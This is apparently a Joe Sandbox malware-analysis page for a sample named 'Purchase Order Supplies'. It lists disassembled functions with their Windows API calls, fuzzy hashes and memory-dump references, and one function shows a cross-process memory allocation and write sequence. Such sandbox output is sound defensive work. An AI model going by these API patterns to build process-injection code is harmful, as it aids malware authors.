Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: d333a65056fbecd41c5d355a33ffb2884175387045dbbe0d26f2e1123c316851
Instruction ID: 5c0553dc6340584fa3925735e078630626a66f83bad8a60b55907b8c48ab6803
Opcode Fuzzy Hash: d333a65056fbecd41c5d355a33ffb2884175387045dbbe0d26f2e1123c316851
Instruction Fuzzy Hash: E321D872B002087BDF21EAA5DC9BFDE7A69EF59710F004028F919E7181DA70CD4597A0

Function 00CE89AD Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00CE89CE
GetForegroundWindow.USER32 ref: 00CE89E5
GetDC.USER32(00000000), ref: 00CE8A21
GetPixel.GDI32(00000000,?,00000003), ref: 00CE8A2D
ReleaseDC.USER32(00000000,00000003), ref: 00CE8A68

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 5c1b94239c88329f6978b8843a54e55f26b4de66bf3f66679b1ba181779be417
Instruction ID: 756ad7448c1f9373cf4179e8299c3f9aa0e79fe36dfe35d265f23dbc4a72768b
Opcode Fuzzy Hash: 5c1b94239c88329f6978b8843a54e55f26b4de66bf3f66679b1ba181779be417
Instruction Fuzzy Hash: 7E218176A00204AFDB00EFA5CC89AAA7BF5EF48301B05C479E94AD7352CF70AD45DB60

Function 00CAB58B Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00CAB5EB
SelectObject.GDI32(?,00000000), ref: 00CAB5FA
BeginPath.GDI32(?), ref: 00CAB611
SelectObject.GDI32(?,00000000), ref: 00CAB63B

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e0293253547b5eb329bb8a9a143b802e45a0f16c21932039c6be6c2733d4ebc0
Instruction ID: ef0c513c4db02c3e271605308677a6bc2b154ed1e4226ba7ec3d01fd851fdd80
Opcode Fuzzy Hash: e0293253547b5eb329bb8a9a143b802e45a0f16c21932039c6be6c2733d4ebc0
Instruction Fuzzy Hash: CA217974800306FBDB209F55ED487A97FE9FB0232AF14422AF824D62A1D7709D928B60

Function 00CB2E57 Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00CB2E81
CreateThread.KERNEL32(?,?,00CB2FB7,00000000,?,?), ref: 00CB2EC5
GetLastError.KERNEL32 ref: 00CB2ECF
_free.LIBCMT ref: 00CB2ED8
__dosmaperr.LIBCMT ref: 00CB2EE3

Part of subcall function 00CB889E: __getptd_noexit.LIBCMT ref: 00CB889E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
String ID:
API String ID: 2664167353-0
Opcode ID: cda73072090814453a5b4edb22e7734f9c6c0d727520cc000f40f0e78feeffab
Instruction ID: c1f0f8bc52f2139e232131d298bedc70086264e96eeffb2e55484dc0bfab594c
Opcode Fuzzy Hash: cda73072090814453a5b4edb22e7734f9c6c0d727520cc000f40f0e78feeffab
Instruction Fuzzy Hash: F211C032104746AFDB20BFA69C42DEB7BA9EF45770F100529FA24D6192EF31C90197A0

Function 00CCB8E7 Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00CCB903
GetLastError.KERNEL32(?,00CCB3CB,?,?,?), ref: 00CCB90D
GetProcessHeap.KERNEL32(00000008,?,?,00CCB3CB,?,?,?), ref: 00CCB91C
RtlAllocateHeap.NTDLL(00000000,?,00CCB3CB), ref: 00CCB923
GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00CCB93A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocateErrorLastProcess
String ID:
API String ID: 883493501-0
Opcode ID: 42138f6ec38de0ba56435b80368676d3b60a2fa0a478f78199824f5f86f0199c
Instruction ID: 299a6960b2869c28e9a1957a5a9908746f3873596354b78b806fab0376568ab4
Opcode Fuzzy Hash: 42138f6ec38de0ba56435b80368676d3b60a2fa0a478f78199824f5f86f0199c
Instruction Fuzzy Hash: FC014671201308BFDB114FA5DC89EAB7BBEEF8A764B104029F955C2260DB758D41DE70

Function 00CD8355 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00CD8371
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00CD837F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00CD8387
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00CD8391
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00CD83CD

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 09eee12915ae05d0e84814cad6cd2a473b5314452ab0a11435a172f644027c08
Instruction ID: 7fd65b22572da7e9ea9398ee1f53b6c5013d2a33e2735073b34091231ff3e4a8
Opcode Fuzzy Hash: 09eee12915ae05d0e84814cad6cd2a473b5314452ab0a11435a172f644027c08
Instruction Fuzzy Hash: 60016935C00719EBCF00AFA5EC48AEEBB79FB08B11F000042E605F2260CF70969987B1

Function 00CCA857 Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.COMBASE ref: 00CCA874
ProgIDFromCLSID.COMBASE(?,00000000), ref: 00CCA88F
lstrcmpiW.KERNEL32(?,00000000), ref: 00CCA89D
CoTaskMemFree.COMBASE(00000000), ref: 00CCA8AD
CLSIDFromString.COMBASE(?,?), ref: 00CCA8B9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: eba8b7ed57802d9de0ae1da25b079f9c3c0a7dd795a69d195258113691ae327b
Instruction ID: 37eef18e537ff6a259ce91a435da17654c654091deef9db5ffd56be063ebd9f3
Opcode Fuzzy Hash: eba8b7ed57802d9de0ae1da25b079f9c3c0a7dd795a69d195258113691ae327b
Instruction Fuzzy Hash: 27014F76A00318BFDB115F58DC48B9ABBAEEF44755F148028F901D2250DB70DE429BA1

Function 00CCB7EF Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00CCB806
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00CCB810
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CCB81F
RtlAllocateHeap.NTDLL(00000000,?,TokenIntegrityLevel), ref: 00CCB826
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CCB83C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: 1375fb78cc627fe6b87832cd9494bfcc5e22189eb00c45244bca66f8930f245a
Instruction ID: 85b6287a2a3bc065317ddd8aa1051d6c7dee316e977ccdc00f62f1f541db5712
Opcode Fuzzy Hash: 1375fb78cc627fe6b87832cd9494bfcc5e22189eb00c45244bca66f8930f245a
Instruction Fuzzy Hash: 30F03775200314BFEB215FA5EC99FAB7B6EFF4A754F008029F951C6290CBA09D428A70

Function 00CCB78E Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00CCB7A5
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00CCB7AF
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00CCB7BE
RtlAllocateHeap.NTDLL(00000000,?,00000002), ref: 00CCB7C5
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00CCB7DB

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: 0ee8f824edfe1601c85a8ed3e954d4e0fd3e9e432a0c9be0a35dc5a083545359
Instruction ID: be2a71c066d4550aba30c4909f8966e2202e7f8c10c6e0a0c9dd3609c0d0ccc4
Opcode Fuzzy Hash: 0ee8f824edfe1601c85a8ed3e954d4e0fd3e9e432a0c9be0a35dc5a083545359
Instruction Fuzzy Hash: 6EF03C752403547FEB105FA5EC89FA73BADFF8A755F108019F951C6250DB609D428B70

Function 00CCFA7B Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00CCFA8F
GetWindowTextW.USER32(00000000,?,00000100), ref: 00CCFAA6
MessageBeep.USER32(00000000), ref: 00CCFABE
KillTimer.USER32(?,0000040A), ref: 00CCFADA
EndDialog.USER32(?,00000001), ref: 00CCFAF4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 65944d14a4a10d03c09a828b7b94701d0f7e81be93e0a46dc0825491b2e5dc47
Instruction ID: 45b422bd831d3837937b52bcdac62eccc12bd14debf48ef227ce232f7a92780c
Opcode Fuzzy Hash: 65944d14a4a10d03c09a828b7b94701d0f7e81be93e0a46dc0825491b2e5dc47
Instruction Fuzzy Hash: 20018130900704ABFB259B14DD4EFD6B7BABB00B09F04426DF197A55E0DBF4AA46DA60

Function 00CAB517 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00CAB526
StrokeAndFillPath.GDI32(?,?,00D0F583,00000000,?), ref: 00CAB542
SelectObject.GDI32(?,00000000), ref: 00CAB555
DeleteObject.GDI32 ref: 00CAB568
StrokePath.GDI32(?), ref: 00CAB583

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: fc7caae52e1699ec04199c316b17380d2a6cb11013f83fbda3d6b1a8ff2f2854
Instruction ID: eb566dc999f3a2a505466cf115cf98ceecc0a3df6c8cb0390ba7942bbf643dfe
Opcode Fuzzy Hash: fc7caae52e1699ec04199c316b17380d2a6cb11013f83fbda3d6b1a8ff2f2854
Instruction Fuzzy Hash: 1CF0C934400705BBDB255F65ED0C7943FE6A70232AF148215F8A9C83F1CB348A96DF20

Function 00CDFA15 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00CDFAB2
CoCreateInstance.COMBASE(00D1DA7C,00000000,00000001,00D1D8EC,?), ref: 00CDFACA

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

CoUninitialize.COMBASE ref: 00CDFD2D

Strings

.lnk, xrefs: 00CDFA63, 00CDFA68, 00CDFA76

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 8cd431f9cc365d8d8d76916ba7cac0f65e3159782fd8546b5ea95a3c1f5285af
Instruction ID: 31a225342da8f69bd357c9c089c6d05200cbf76d542366cf310b220cbd00b6a6
Opcode Fuzzy Hash: 8cd431f9cc365d8d8d76916ba7cac0f65e3159782fd8546b5ea95a3c1f5285af
Instruction Fuzzy Hash: 33A16A71504301AFC700EF64C895EABB7EDAF99704F40491DF195D72A2EB70EA09DBA2

Function 00CDEFCD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD78AD: GetFullPathNameW.KERNEL32(?,00000105,?,?), ref: 00CD78CB

CoInitialize.OLE32(00000000), ref: 00CDF04D
CoCreateInstance.COMBASE(00D1DA7C,00000000,00000001,00D1D8EC,?), ref: 00CDF066
CoUninitialize.COMBASE ref: 00CDF083

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

Strings

.lnk, xrefs: 00CDF02B, 00CDF03D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: de2298ffa3b16904193fb397a5dd311f762820d47e100bdcd3eabfa18507efa6
Instruction ID: 38fa957a404cac738a0447f519f35ee9c6dff9c401609b45bc28b2dd7ad62d6f
Opcode Fuzzy Hash: de2298ffa3b16904193fb397a5dd311f762820d47e100bdcd3eabfa18507efa6
Instruction Fuzzy Hash: 26A15635604301AFCB10DF14C884D5ABBE5BF89324F14895DF9AAAB3A1CB31ED46CB91

Function 00CADA5A Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162COMMON

Download Yara Rule

Strings

+, xrefs: 00CADA96
#, xrefs: 00CADA9D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 8a6b0d722335d5c576eb46037185022952effe6bfdcebe214bd2dc7493900e1f
Instruction ID: cef6b94ba479d77572f3979049cfc1909a5f12cfb9996a7f3478af324d4b8b66
Opcode Fuzzy Hash: 8a6b0d722335d5c576eb46037185022952effe6bfdcebe214bd2dc7493900e1f
Instruction Fuzzy Hash: 84512EB4204246CFDF11EF68D445BFA7BA4AF2A314F184051F9969B2E0D7309D42C734

Function 00CD503C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,00D2DC40,?,0000000F,0000000C,00000016,00D2DC40,?), ref: 00CD507B

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

Part of subcall function 00C9B8A7: _memmove.LIBCMT ref: 00C9B8FB

CharUpperBuffW.USER32(?,?,00000000,?), ref: 00CD50FB

Strings

THIS, xrefs: 00CD5139
REMOVE, xrefs: 00CD50AC

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BuffCharUpper$__itow__swprintf_memmove
String ID: REMOVE$THIS
API String ID: 2528338962-776492005
Opcode ID: 5ee1b7daa2bdf8c34c1dc5a9f0cc077761d0f850ba312d1efc0d32d66add1e5e
Instruction ID: ac8440b9edff833ff0d56b627e77872708bd4a76906666715b8118ff8d429500
Opcode Fuzzy Hash: 5ee1b7daa2bdf8c34c1dc5a9f0cc077761d0f850ba312d1efc0d32d66add1e5e
Instruction Fuzzy Hash: E541A474A0060AAFCF01DF54C885BAEB7B5BF49304F04806AEA66AB392DB34DD45DF50

Function 00CCCF7F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD4D41: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00CCC9FE,?,?,00000034,00000800,?,00000034), ref: 00CD4D6B

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00CCCFC9

Part of subcall function 00CD4D0C: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00CCCA2D,?,?,00000800,?,00001073,00000000,?,?), ref: 00CD4D36

Part of subcall function 00CD4C65: GetWindowThreadProcessId.USER32(?,?), ref: 00CD4C90
Part of subcall function 00CD4C65: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00CCC9C2,00000034,?,?,00001004,00000000,00000000), ref: 00CD4CA0
Part of subcall function 00CD4C65: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00CCC9C2,00000034,?,?,00001004,00000000,00000000), ref: 00CD4CB6

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00CCD036
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00CCD083

Strings

@, xrefs: 00CCD09B

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: f849939e60c0584b04f4d8bdeb5946cac2a0c5fe925af65e1c9eb1a9bf045a7f
Instruction ID: 99f343410be3fd584b02797c15b7bd6aaa8ed5a9b4aa4a3f2165aa1b3c112b3d
